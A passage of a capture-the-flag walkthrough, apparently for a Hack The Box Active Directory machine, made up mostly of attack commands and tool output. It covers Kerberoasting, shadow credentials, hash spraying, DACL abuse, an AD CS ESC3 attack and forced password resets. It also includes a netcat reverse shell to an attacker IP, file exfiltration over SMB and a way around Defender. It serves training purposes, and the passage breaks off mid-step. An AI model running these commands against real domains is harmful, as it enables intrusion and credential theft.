        Local path                      : C:\\Users\\ashley.b\\Desktop\\aCleanup.ps1
        Relative path                   : ..\\..\\..\\Users\\ashley.b\\Desktop\\aCleanup.ps1

Other options with natalie.a

Because we have GenericWrite relationships to users, we can target them with targeted Kerberoasting. Download https://github.com/ShutdownRepo/targetedKerberoast:

python3 targetedKerberoast/targetedKerberoast.py -v -d 'hercules.htb' --dc-ip 10.10.11.91 --dc-host dc.hercules.htb -u 'natalie.a' -k --no-pass -o kerberoast_hashes.txt
hashcat -a 0 ./kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt

Hashes for several users are saved to kerberoast_hashes.txt, but unfortunately they cannot be cracked.

We can perform a shadow credentials attack:

certipy shadow auto -username natalie@hercules.htb -k -no-pass -dc-ip 10.10.11.91 -dc-host dc.hercules.htb -target dc.hercules.htb -account bob.w
[*] Targeting user 'bob.w'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '50372c47-3eeb-d3a9-8f54-34fcdfa533ca'
[*] Adding Key Credential with device ID '50372c47-3eeb-d3a9-8f54-34fcdfa533ca' to the Key Credentials for 'bob.w'
[*] Successfully added Key Credential with device ID '50372c47-3eeb-d3a9-8f54-34fcdfa533ca' to the Key Credentials for 'bob.w'
[*] Authenticating as 'bob.w' with the certificate
[*] Certificate identities:
[*]     No identities found in this certificate
[*] Using principal: 'bob.w@hercules.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'bob.w.ccache'
[*] Wrote credential cache to 'bob.w.ccache'
[*] Trying to retrieve NT hash for 'bob.w'
[*] Restoring the old Key Credentials for 'bob.w'
[*] Successfully restored the old Key Credentials for 'bob.w'
[*] NT hash for 'bob.w': 8a65c74e8f0073babbfac6725c66cc3f

Alternatively, use pywhisker as indicated by BloodHound:

git clone https://github.com/ShutdownRepo/pywhisker.git
python3 pywhisker/pywhisker/pywhisker.py -vv --dc-ip 10.10.11.91 --dc-host dc.hercules.htb -d hercules.htb -u natalie.a -k --no-pass --target bob.w --action add
bf89d235253211928f01000401010005001000068fe7d10388c2bdf35e0bf76a9cfad40502000701000800081bd0e3658f72dc010800091bd0e3658f72dc01:CN=Bob Wood,OU=Web Department,OU=DCHERCULES,DC=hercules,DC=htb
[*] Updating the msDS-KeyCredentialLink attribute of bob.w
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[VERBOSE] No filename was provided. The certificate(s) will be stored with the filename: mjlGU1Y2
[VERBOSE] No pass was provided. The certificate will be stored with the password: VjWsH7rVUDFum8UzZEJa
[*] Converting PEM -> PFX with cryptography: mjlGU1Y2.pfx
[+] PFX exportiert nach: mjlGU1Y2.pfx
[i] Passwort für PFX: VjWsH7rVUDFum8UzZEJa
[+] Saved PFX (#PKCS12) certificate & key at path: mjlGU1Y2.pfx
[*] Must be used with password: VjWsH7rVUDFum8UzZEJa
[*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools
[VERBOSE] Run the following command to obtain a TGT
[VERBOSE] python3 PKINITtools/gettgtpkinit.py -cert-pfx mjlGU1Y2.pfx -pfx-pass VjWsH7rVUDFum8UzZEJa hercules.htb/bob.w mjlGU1Y2.ccache
certipy cert -export -pfx mjlGU1Y2.pfx -password VjWsH7rVUDFum8UzZEJa -out "bob.w.pfx"
certipy auth -dc-ip 10.10.11.91 -pfx bob.w.pfx -username bob.w -domain hercules.htb
[*] Data written to 'bob.w.pfx'
[*] Saving credential cache to 'bob.w.ccache'
[*] Wrote credential cache to 'bob.w.ccache'
[*] Trying to retrieve NT hash for 'bob.w'
[*] Got hash for 'bob.w@hercules.htb': aad3b435b51404eeaad3b435b51404ee:8a65c74e8f0073babbfac6725c66cc3f

Repeat the procedure to obtain the other hashes:

[*] Got hash for 'johnathan.j@hercules.htb': aad3b435b51404eeaad3b435b51404ee:5809e5fc2ca162d909b15c62d7c3707c
[*] Got hash for 'ray.n@hercules.htb': aad3b435b51404eeaad3b435b51404ee:bba073b6255e15b30ac6204d67933ad8
[*] Got hash for 'harris.d@hercules.htb': aad3b435b51404eeaad3b435b51404ee:bba073b6255e15b30ac6204d67933ad8
[*] Got hash for 'web_admin@hercules.htb': aad3b435b51404eeaad3b435b51404ee:bba073b6255e15b30ac6204d67933ad8

Obtaining a Kerberos ticket from an NT hash with kinit

ktutil
addent -p bob.w@HERCULES.HTB -k 1 -key -e rc4-hmac

Insert the hash of bob.w.

wkt bobw.keytab
quit

A file bobw.keytab is created. We can now obtain a Kerberos ticket with kinit:

export KRB5CCNAME=/tmp/krb5cc_bobw
kinit -k -t bobw.keytab 'bob.w@HERCULES.HTB'

Verify with klist:

klist

Verify with nxc and access shares with smbclient:

nxc smb dc.hercules.htb -d hercules.htb -k --use-kcache
smbclient -k //dc.hercules.htb/Department

We notice that the NT hashes of ray.n, harris.d, and web_admin are identical. We can try spraying that hash with the attached Python script hashspray.py.

printf '%s\n' 'bba073b6255e15b30ac6204d67933ad8' > hashspray_input.txt
./hashspray.py -d hercules.htb -i 10.10.11.91 -u users_2.txt -H hashspray_input.txt -o res.txt
fiona.c:bba073b6255e15b30ac6204d67933ad8
harris.d:bba073b6255e15b30ac6204d67933ad8
ramona.l:bba073b6255e15b30ac6204d67933ad8
ray.n:bba073b6255e15b30ac6204d67933ad8
web_admin:bba073b6255e15b30ac6204d67933ad8

Other users also have this NT hash, but there is not much we can do with them. The shortcut script for ashley.b does not seem useful yet.

Moving auditor into the Web Department

From BloodHound, bob.w is a member of Recruitment Managers and Domain Employees; the other users do not appear interesting. We can enumerate domain ACLs remotely with powerview.py.

Set KRB5CCNAME to natalie.a's ticket. Download powerview.py and run:

python3 powerview.py/powerview.py hercules.htb/natalie.a@dc.hercules.htb --dc-ip 10.10.11.91 -k --no-pass -q Get-DomainObjectACL > acls.txt

Interesting ACLs include:

ObjectDN                    : OU=Web Department,OU=DCHERCULES,DC=hercules,DC=htb
ObjectSID                   : None
ACEType                     : ACCESS_ALLOWED_ACE
ACEFlags                    : None
ActiveDirectoryRights       : DeleteChild,CreateChild
AccessMask                  : DeleteChild,CreateChild
InheritanceType             : None
SecurityIdentifier          : HERCULES\Recruitment Managers

ObjectDN                    : OU=Security Department,OU=DCHERCULES,DC=hercules,DC=htb
ObjectSID                   : None
ACEType                     : ACCESS_ALLOWED_ACE
ACEFlags                    : None
ActiveDirectoryRights       : DeleteChild,CreateChild
AccessMask                  : DeleteChild,CreateChild
InheritanceType             : None
SecurityIdentifier          : HERCULES\Recruitment Managers

ObjectDN                    : OU=Engineering Department,OU=DCHERCULES,DC=hercules,DC=htb
ObjectSID                   : None
ACEType                     : ACCESS_ALLOWED_ACE
ACEFlags                    : None
ActiveDirectoryRights       : DeleteChild,CreateChild
AccessMask                  : DeleteChild,CreateChild
InheritanceType             : None
SecurityIdentifier          : HERCULES\Recruitment Managers

ObjectDN                    : OU=Web Department,OU=DCHERCULES,DC=hercules,DC=htb
ObjectSID                   : None
ACEType                     : ACCESS_ALLOWED_ACE
ACEFlags                    : CONTAINER_INHERIT_ACE, INHERIT_ONLY_ACE, NO_PROPAGATE_INHERIT_ACE
ActiveDirectoryRights       : ReadControl,WriteProperties,Self
AccessMask                  : ReadControl,WriteProperties,Self
InheritanceType             : None
SecurityIdentifier          : HERCULES\Web Support

Thus, bob.w can create, remove, and move objects between these OUs. Web Support can modify object attributes in Web Department.

BloodHound shows that only ashley.b and auditor belong to Remote Management Users, so they can connect to Windows with WinRM. auditor is in the Security Department OU.

Move auditor from Security Department to Web Department. Since natalie.a is a member of Web Support, she will then have GenericWrite over auditor. We can use shadow credentials to obtain auditor's NT hash and connect with Evil-WinRM.

1) Move the user with powerview.py

Use the ticket obtained with Certipy or getTGT.py:

export KRB5CCNAME=bob.w.ccache
python3 powerview.py/powerview.py hercules.htb/bob.w@dc.hercules.htb --dc-ip 10.10.11.91 -k --no-pass -q "Set-DomainObjectDN -Identity auditor -DestinationDN 'OU=Web Department,OU=DCHERCULES,DC=hercules,DC=htb'"
[2025-12-23 06:08:29] [Set-DomainObject] Success! modified new dn for CN=Auditor,OU=Security Department,OU=DCHERCULES,DC=hercules,DC=htb

2) Alternatively, move the user with ldapmodify

Create move_user.ldif:

dn: CN=Auditor,OU=Security Department,OU=DCHERCULES,DC=hercules,DC=htb
changetype: moddn
newrdn: CN=Auditor
deleteoldrdn: 1
newsuperior: OU=Web Department,OU=DCHERCULES,DC=hercules,DC=htb

The ticket obtained with Certipy or getTGT.py does not work with ldapmodify. Obtain a ticket for bob.w with kinit as described earlier, so KRB5CCNAME is /tmp/krb5cc_bobw:

ldapmodify -Y GSSAPI -H ldap://dc.hercules.htb -f move_user.ldif
SASL/GSSAPI authentication started
SASL username: bob.w@HERCULES.HTB
SASL SSF: 256
SASL data security layer installed.
modifying rdn of entry "CN=Auditor,OU=Security Department,OU=DCHERCULES,DC=hercules,DC=htb"

Verify the move:

python3 powerview.py/powerview.py hercules.htb/natalie.a@dc.hercules.htb --dc-ip 10.10.11.91 -k --no-pass -q 'Get-DomainUser auditor -NoCache'
distinguishedName                 : CN=Auditor,OU=Web Department,OU=DCHERCULES,DC=hercules,DC=htb

Shadow credentials for auditor

Use natalie.a's ticket:

export KRB5CCNAME=natalie.a.ccache

certipy shadow auto

certipy shadow auto -username natalie@hercules.htb -k -no-pass -dc-ip 10.10.11.91 -dc-host dc.hercules.htb -target dc.hercules.htb -account auditor
[*] Targeting user 'auditor'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '6ed478b9-2b75-43d4-0320-9fb018c0348b'
[*] Adding Key Credential with device ID '6ed478b9-2b75-43d4-0320-9fb018c0348b' to the Key Credentials for 'auditor'
[*] Successfully added Key Credential with device ID '6ed478b9-2b75-43d4-0320-9fb018c0348b' to the Key Credentials for 'auditor'
[*] Authenticating as 'auditor' with the certificate
[*] Certificate identities:
[*]     No identities found in this certificate
[*] Using principal: 'auditor@hercules.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'auditor.ccache'
[*] Wrote credential cache to 'auditor.ccache'
[*] Trying to retrieve NT hash for 'auditor'
[*] Restoring the old Key Credentials for 'auditor'
[*] Successfully restored the old Key Credentials for 'auditor'
[*] NT hash for 'auditor': a9285c625af80519ad784729655ff325

pywhisker and certipy

python3 pywhisker/pywhisker/pywhisker.py -vv --dc-ip 10.10.11.91 --dc-host dc.hercules.htb -d hercules.htb -u natalie.a -k --no-pass --target auditor --action add
2e26bf78c624668ed501000401010005001000060cfb2a843c7b57e26b1df6525bb014770200070100080008ef880a80c972dc01080009ef880a80c972dc01:CN=Auditor,OU=Web Department,OU=DCHERCULES,DC=hercules,DC=htb
[*] Updating the msDS-KeyCredentialLink attribute of auditor
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[VERBOSE] No filename was provided. The certificate(s) will be stored with the filename: fTL4Kmuc
[VERBOSE] No pass was provided. The certificate will be stored with the password: zzHo6nc3MOIwh5us29EK
[*] Converting PEM -> PFX with cryptography: fTL4Kmuc.pfx
[+] PFX exportiert nach: fTL4Kmuc.pfx
[i] Passwort für PFX: zzHo6nc3MOIwh5us29EK
[+] Saved PFX (#PKCS12) certificate & key at path: fTL4Kmuc.pfx
[*] Must be used with password: zzHo6nc3MOIwh5us29EK
[i] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools
[VERBOSE] Run the following command to obtain a TGT
[VERBOSE] python3 PKINITtools/gettgtpkinit.py -cert-pfx fTL4Kmuc.pfx -pfx-pass zzHo6nc3MOIwh5us29EK hercules.htb/auditor fTL4Kmuc.ccache
certipy cert -export -pfx fTL4Kmuc.pfx -password zzHo6nc3MOIwh5us29EK -out "auditor.pfx"
certipy auth -dc-ip 10.10.11.91 -pfx auditor.pfx -username auditor -domain hercules.htb
[*] Data written to 'auditor.pfx'
[*] Saving credential cache to 'auditor.ccache'
[*] Wrote credential cache to 'auditor.ccache'
[*] Trying to retrieve NT hash for 'auditor'
[*] Got hash for 'auditor@hercules.htb': aad3b435b51404eeaad3b435b51404ee:a9285c625af80519ad784729655ff325

Use the ticket:

export KRB5CCNAME=auditor.ccache
nxc smb dc.hercules.htb -d hercules.htb -k --use-kcache --shares
SMB         dc.hercules.htb 445    dc               [*]  x64 (name:dc) (domain:hercules.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB         dc.hercules.htb 445    dc               [+] hercules.htb\auditor from ccache
SMB         dc.hercules.htb 445    dc               [*] Enumerated shares
SMB         dc.hercules.htb 445    dc               Share           Permissions     Remark
SMB         dc.hercules.htb 445    dc               -----           -----------     ------
SMB         dc.hercules.htb 445    dc               ADMIN$                          Remote Admin
SMB         dc.hercules.htb 445    dc               C$                              Default share
SMB         dc.hercules.htb 445    dc               Department      READ
SMB         dc.hercules.htb 445    dc               IPC$            READ            Remote IPC
SMB         dc.hercules.htb 445    dc               NETLOGON        READ            Logon server share
SMB         dc.hercules.htb 445    dc               Reports         READ
SMB         dc.hercules.htb 445    dc               SYSVOL          READ            Logon server share
SMB         dc.hercules.htb 445    dc               Users           READ

Evil-WinRM and ACL enumeration

evil-winrm -i dc.hercules.htb -u auditor -r hercules.htb -P 5986 -S

We get a PowerShell shell as auditor. It is unstable, so obtain a more stable reverse shell with nc64.exe.

Download it on the attacker machine:

wget https://github.com/int0x33/nc.exe/raw/refs/heads/master/nc64.exe
rlwrap nc -vlnp 4444
python3 -m http.server 5555

On the target:

mkdir C:\tmp
curl http://10.10.16.119:5555/nc64.exe -o C:\tmp\nc64.exe
C:\tmp\nc64.exe -e cmd.exe 10.10.16.119 4444

The antivirus is active:

sc query windefend
sc query windefend
SERVICE_NAME: windefend
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 4  RUNNING
                                (STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0

Start PowerShell:

powershell

Download PowerView.ps1 from https://github.com/PowerShellMafia/PowerSploit/raw/master/Recon/PowerView.ps1, upload it to the target, and run:

. .\PowerView.ps1
Operation did not complete successfully because the file contains a virus or potentially unwanted software.

Because Defender is active, use a custom PowerShell script instead. See enum_acls.ps1. Upload it and run:

.\enum_acls.txt

The ACLs are saved to all_ad_acls.txt. Download the file with smbserver.py.

On the attacker machine:

smbserver.py -smb2support -username test12 -password test12 share $(pwd)

On the target:

net use \\10.10.16.119\share test12 /USER:test12
cp all_ad_acls.txt \\10.10.16.119\share\

BloodHound shows that auditor belongs to Forest Management. In all_ad_acls.txt, Forest Management has GenericAll over the Forest Migration OU.

List the objects in that OU:

Get-ADObject -Filter * -SearchBase "OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb"
DistinguishedName                                                                       Name
-----------------                                                                       ----
OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb                                    Forest Migration
CN=James Silver,OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb                    James Silver
CN=Anthony Rudd,OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb                    Anthony Rudd
CN=WINSRV01-2016,OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb                   WINSRV01-2016
CN=WINSRV02-2016,OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb                   WINSRV02-2016
CN=WINSRV03-2016,OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb                   WINSRV03-2016
CN=ENTERPRISE01-8.1,OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb                ENTERPRISE01-8.1
CN=ENTERPRISE02-8.1,OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb                ENTERPRISE02-8.1
CN=Windows Computer Administrators,OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb Windows Computer Administrators
CN=IIS_Administrator,OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb              IIS_Administrator
CN=Taylor Maxwell,OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb                 Taylor Maxwell
CN=Fernando Rodriguez,OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb              Fernando Rodriguez

IIS_Administrator belongs to Service Operators. BloodHound shows that this group has ForceChangePassword over the iis_webserver$ machine account. BloodHound also shows that iis_webserver has AllowedToAct over the domain controller. With this account, we can request a service ticket as another user.

AD CS ESC3 and the final path

Use auditor's ticket:

export KRB5CCNAME=auditor.ccache
dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal 'auditor' -target-dn 'OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb' 'hercules.htb'/'auditor' -k -no-pass -dc-ip 10.10.11.91 -dc-host dc.hercules.htb
[*] NB: objects with adminCount=1 will no inherit ACEs from their parent container/OU
[*] DACL backed up to dacledit-20251223-074312.bak
[*] DACL modified successfully!

We enabled inheritance so objects in the OU inherit this ACL. However, iis_administrator has adminCount=1 and does not inherit it:

Get-ADUser -Filter 'adminCount -eq 1' -Properties adminCount | Select-Object Name,SamAccountName,adminCount
Name              SamAccountName    adminCount
----              --------------    ----------
Administrator     Administrator              1
krbtgt            krbtgt                     1
IIS_Administrator iis_administrator          1
Admin             Admin                      1

fernando.r belongs to Forest Migration, so after the ACL change we have full control over him. Change his password and enable the account:

python3 bloodyAD/bloodyAD.py --host dc.hercules.htb -d hercules.htb --dc-ip 10.10.11.91 -k set password fernando.r 'Summer2025!'
python3 bloodyAD/bloodyAD.py --host dc.hercules.htb -d hercules.htb --dc-ip 10.10.11.91 -k remove uac fernando.r -f ACCOUNTDISABLE
getTGT.py 'hercules.htb'/'fernando.r':'Summer2025!' -dc-ip 10.10.11.91
export KRB5CCNAME=fernando.r.ccache
[+] Password changed successfully!
[+] ['ACCOUNTDISABLE'] property flags removed from fernando.r's userAccountControl
[*] Saving ticket in fernando.r.ccache

fernando.r belongs to Smartcard Operators. Search for vulnerable certificate templates:

certipy find -dc-ip 10.10.11.91 -k -no-pass -target dc.hercules.htb -dc-ip 10.10.11.91 -text -stdout -vulnerable
Certificate Authorities
  0
    CA Name                             : CA-HERCULES
    DNS Name                            : dc.hercules.htb
    Certificate Subject                 : CN=CA-HERCULES, DC=hercules, DC=htb
    Certificate Serial Number           : 1DD5F287C078F9924ED52E93ADFA1CCB
    Certificate Validity Start          : 2024-12-04 01:34:17+00:00
    Certificate Validity End            : 2034-12-04 01:44:17+00:00
    Web Enrollment
      HTTP
        Enabled                         : False
      HTTPS
        Enabled                         : False
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy
    Permissions
      Owner                             : HERCULES.HTB\Administrators
      Access Rights
        ManageCa                        : HERCULES.HTB\Administrators
                                          HERCULES.HTB\Domain Admins
                                          HERCULES.HTB\Enterprise Admins
        ManageCertificates              : HERCULES.HTB\Administrators
                                          HERCULES.HTB\Domain Admins
                                          HERCULES.HTB\Enterprise Admins
        Enroll                          : HERCULES.HTB\Authenticated Users
Certificate Templates
  0
    Template Name                       : MachineEnrollmentAgent
    Display Name                        : Enrollment Agent (Computer)
    Certificate Authorities             : CA-HERCULES
    Enabled                             : True
    Client Authentication               : False
    Enrollment Agent                    : True
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectAltRequireDns
                                          SubjectRequireDnsAsCn
    Enrollment Flag                     : AutoEnrollment
    Extended Key Usage                  : Certificate Request Agent
    Requires Manager Approval           : False
    Requires Key Archival              : False
    Authorized Signatures Required      : 0
    Schema Version                      : 1
    Validity Period                     : 2 years
    Renewal Period                     : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                   : 2024-12-04T01:44:26+00:00
    Template Last Modified              : 2024-12-04T01:44:51+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : HERCULES.HTB\Smartcard Operators
                                          HERCULES.HTB\Domain Admins
                                          HERCULES.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : HERCULES.HTB\Enterprise Admins
        Full Control Principals         : HERCULES.HTB\Domain Admins
                                          HERCULES.HTB\Enterprise Admins
        Write Owner Principals          : HERCULES.HTB\Domain Admins
                                          HERCULES.HTB\Enterprise Admins
        Write Dacl Principals           : HERCULES.HTB\Domain Admins
                                          HERCULES.HTB\Enterprise Admins
        Write Property Enroll           : HERCULES.HTB\Domain Admins
                                          HERCULES.HTB\Enterprise Admins
    [+] User Enrollable Principals      : HERCULES.HTB\Smartcard Operators
    [!] Vulnerabilities
      ESC3                              : Template has Certificate Request Agent EKU set.
  1
    Template Name                       : EnrollmentAgentOffline
    Display Name                        : Exchange Enrollment Agent (Offline request)
    Certificate Authorities             : CA-HERCULES
    Enabled                             : True
    Client Authentication               : False
    Enrollment Agent                    : True
    Any Purpose                         : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Extended Key Usage                  : Certificate Request Agent
    Requires Manager Approval           : False
    Requires Key Archival              : False
    Authorized Signatures Required      : 0
    Schema Version                      : 1
    Validity Period                     : 2 years
    Renewal Period                     : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                   : 2024-12-04T01:44:26+00:00
    Template Last Modified              : 2024-12-04T01:44:51+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : HERCULES.HTB\Smartcard Operators
                                          HERCULES.HTB\Domain Admins
                                          HERCULES.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : HERCULES.HTB\Enterprise Admins
        Full Control Principals         : HERCULES.HTB\Domain Admins
                                          HERCULES.HTB\Enterprise Admins
        Write Owner Principals          : HERCULES.HTB\Domain Admins
                                          HERCULES.HTB\Enterprise Admins
        Write Dacl Principals           : HERCULES.HTB\Domain Admins
                                          HERCULES.HTB\Enterprise Admins
        Write Property Enroll           : HERCULES.HTB\Domain Admins
                                          HERCULES.HTB\Enterprise Admins
    [+] User Enrollable Principals      : HERCULES.HTB\Smartcard Operators
    [!] Vulnerabilities
      ESC3                              : Template has Certificate Request Agent EKU set.
      ESC15                             : Enrollee supplies subject and schema version is 1.
    [*] Remarks
  2
    Template Name                       : EnrollmentAgent
    Display Name                        : Enrollment Agent
    Certificate Authorities             : CA-HERCULES
    Enabled                             : True
    Client Authentication               : False
    Enrollment Agent                    : True
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectAltRequireUpn
                                          SubjectRequireDirectoryPath
    Enrollment Flag                     : AutoEnrollment
    Extended Key Usage                 : Certificate Request Agent
    Requires Manager Approval           : False
    Requires Key Archival              : False
    Authorized Signatures Required      : 0
    Schema Version                      : 1
    Validity Period                     : 2 years
    Renewal Period                     : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                   : 2024-12-04T01:44:26+00:00
    Template Last Modified              : 2024-12-04T01:44:51+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : HERCULES.HTB\Smartcard Operators
                                          HERCULES.HTB\Domain Admins
                                          HERCULES.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : HERCULES.HTB\Enterprise Admins
        Full Control Principals         : HERCULES.HTB\Domain Admins
                                          HERCULES.HTB\Enterprise Admins
        Write Owner Principals          : HERCULES.HTB\Domain Admins
                                          HERCULES.HTB\Enterprise Admins
        Write Dacl Principals           : HERCULES.HTB\Domain Admins
                                          HERCULES.HTB\Enterprise Admins
        Write Property Enroll           : HERCULES.HTB\Domain Admins
                                          HERCULES.HTB\Enterprise Admins
    [+] User Enrollable Principals      : HERCULES.HTB\Smartcard Operators
    [!] Vulnerabilities
      ESC3                              : Template has Certificate Request Agent EKU set.

There are vulnerable templates. We can perform ESC3 with the EnrollmentAgent template:

certipy req -ca CA-HERCULES -dc-ip 10.10.11.91 -dc-host dc.hercules.htb -u 'fernando.r@hercules.htb' -k -no-pass -template EnrollmentAgent -target dc.hercules.htb
[*] Saving certificate and private key to 'fernando.r.pfx'
[*] Wrote certificate and private key to 'fernando.r.pfx'

Now request a certificate on behalf of another user. Requests for privileged users such as Admin, Administrator, and IIS_Administrator return CERTSRV_E_RESTRICTEDOFFICER - The operation is denied. It can only be performed by a certificate manager that is allowed to manage certificates for the current requester.

Use ashley.b, which has interesting BloodHound relationships:

certipy req -ca CA-HERCULES -dc-ip 10.10.11.91 -dc-host dc.hercules.htb -u 'fernando.r@hercules.htb' -k -no-pass -template User -target dc.hercules.htb -on-behalf-of 'HERCULES\ashley.b' -pfx fernando.r.pfx -dcom

The -dcom option is required.

Authenticate:

certipy auth -dc-ip 10.10.11.91 -pfx ashley.b.pfx -username ashley.b -domain hercules.htb
export KRB5CCNAME=ashley.b.ccache
evil-winrm -i dc.hercules.htb -u ashley.b -r hercules.htb -P 5986 -S
[*] Saving credential cache to 'ashley.b.ccache'
[*] Wrote credential cache to 'ashley.b.ccache'
[*] Trying to retrieve NT hash for 'ashley.b'
[*] Got hash for 'ashley.b@hercules.htb': aad3b435b51404eeaad3b435b51404ee:1e719fbfddd226da74f644eac9df7fd2
export KRB5CCNAME=ashley.b.ccache

Since ashley.b is a member of Remote Management Users, we can connect with Evil-WinRM:

evil-winrm -i dc.hercules.htb -u ashley.b -r hercules.htb -P 5986 -S

We get a shell as ashley.b. On the desktop there is aCleanup.ps1:

type aCleanup.ps1
Start-ScheduledTask -TaskName "Password Cleanup"

There is also a Mail folder containing RE_ashley.eml:

Hello Ashley,

The issue you are facing is that some members in the Department were once part of sensitive groups which are blocking your permissions.

I've discussed your issue at length with security and here is a solution that we feel works for both us and your team. I've attached a copy of the script your team should run to your home folder. For convenience, We have provided a shortcut to the script in the IT share. You may also run the task manually from powershell.

If you have any other issues feel free to inform me.

Regards, Domain Admins.

________________________________
From: Ashley Browne
Sent: Monday 09:49:37 AM
To: Domain Admins <Administrator@HERCULES.HTB>
Subject: Unable to reset user's password.

Good Morning,

Today one of my staff received a password reset request from a user, but for some reason they were unable to perform the action due to invalid permissions. I have double checked against another user and confirmed our team haspermission to handle password changes in the department the user belongs to. I was told to contact you for further assistance.

For reference the user is "will.s" from the "Engineering Department" Unit.

I look forward to your reply.

Regards, Ashley.

Inspect the scheduled task:

schtasks /query /tn "Password Cleanup" /v /fo list
Folder: \
HostName:                             DC
TaskName:                             \Password Cleanup
Next Run Time:                        N/A
Status:                               Ready
Logon Mode:                           Interactive/Background
Last Run Time:                        23/12/2025 9:52:28 PM
Last Result:                          0
Author:                               N/A
Task To Run:                          powershell.exe -File "C:\Users\Administrator\AppData\Local\Windows\Password Cleanup.ps1"
Start In:                             N/A
Comment:                              Attribute Cleanup for IT Support.
Scheduled Task State:                 Enabled
Idle Time:                            Disabled
Power Management:                     Stop On Battery Mode, No Start On Batteries
Run As User:                          SYSTEM
Delete Task If Not Rescheduled:       Disabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule:                             Scheduling data is not available in this format.
Schedule Type:                        On demand only
Start Time:                           N/A
Start Date:                           N/A
End Date:                             N/A
Days:                                 N/A
Months:                               N/A
Repeat: Every:                        N/A
Repeat: Until: Time:                  N/A
Repeat: Until: Duration:              N/A
Repeat: Stop If Still Running:        N/A

The script appears to modify attributes. Check adminCount for iis_administrator:

Get-ADUser iis_administrator -Properties adminCount
adminCount        : 1

Use auditor's ticket and give IT Support full control of Forest Migration:

export KRB5CCNAME=auditor.ccache
dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal 'IT Support' -target-dn 'OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb' 'hercules.htb'/'auditor' -k -no-pass -dc-ip 10.10.11.91 -dc-host dc.hercules.htb
[*] DACL backed up to dacledit-20251223-185626.bak
[*] DACL modified successfully!

Run the script:

.\aCleanup.ps1
Get-ADUser iis_administrator -Properties adminCount

The adminCount attribute is no longer displayed.

Give auditor full control of Forest Migration again:

dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal 'auditor' -target-dn 'OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb' 'hercules.htb'/'auditor' -k -no-pass -dc-ip 10.10.11.91 -dc-host dc.hercules.htb
[*] DACL backed up to dacledit-20251223-185704.bak
[*] DACL modified successfully!

Change and enable iis_administrator:

python3 bloodyAD/bloodyAD.py --host dc.hercules.htb -d hercules.htb --dc-ip 10.10.11.91 -k set password iis_administrator 'Summer2025!'
python3 bloodyAD/bloodyAD.py --host dc.hercules.htb -d hercules.htb --dc-ip 10.10.11.91 -k remove uac iis_administrator -f ACCOUNTDISABLE
getTGT.py 'hercules.htb'/'iis_administrator':'Summer2025!' -dc-ip 10.10.11.91
export KRB5CCNAME=iis_administrator.ccache
[+] Password changed successfully!
Enabled           : False
[+] ['ACCOUNTDISABLE'] property flags removed from iis_administrator's userAccountControl
[*] Saving ticket in iis_administrator.ccache

Change the password of iis_webserver$ and obtain its ticket:

python3 bloodyAD/bloodyAD.py --host dc.hercules.htb -d hercules.htb --dc-ip 10.10.11.91 -k set password 'iis_webserver$' 'Summer2025!'
getTGT.py 'hercules.htb'/'iis_webserver$':'Summer2025!' -dc-ip 10.10.11.91
export KRB5CCNAME='iis_webserver$.ccache'
[+] Password changed successfully!
[*] Saving ticket in iis_webserver$.ccache

BloodHound showed that iis_webserver is allowed to act on behalf of another identity on the domain controller. Check the attribute:

rbcd.py -delegate-to 'DC$' -dc-ip 10.129.242.196 -dc-host dc.hercules.htb -action 'read' -k -no-pass 'hercules.htb'/'iis_webserver$'
[*] Accounts allowed to act on behalf of other identity:
[*]     iis_webserver$   (S-1-5-21-1889966460-2597381952-958560702-1124)

The attribute is already configured. We could request a ticket impersonating Administrator, but this fails:

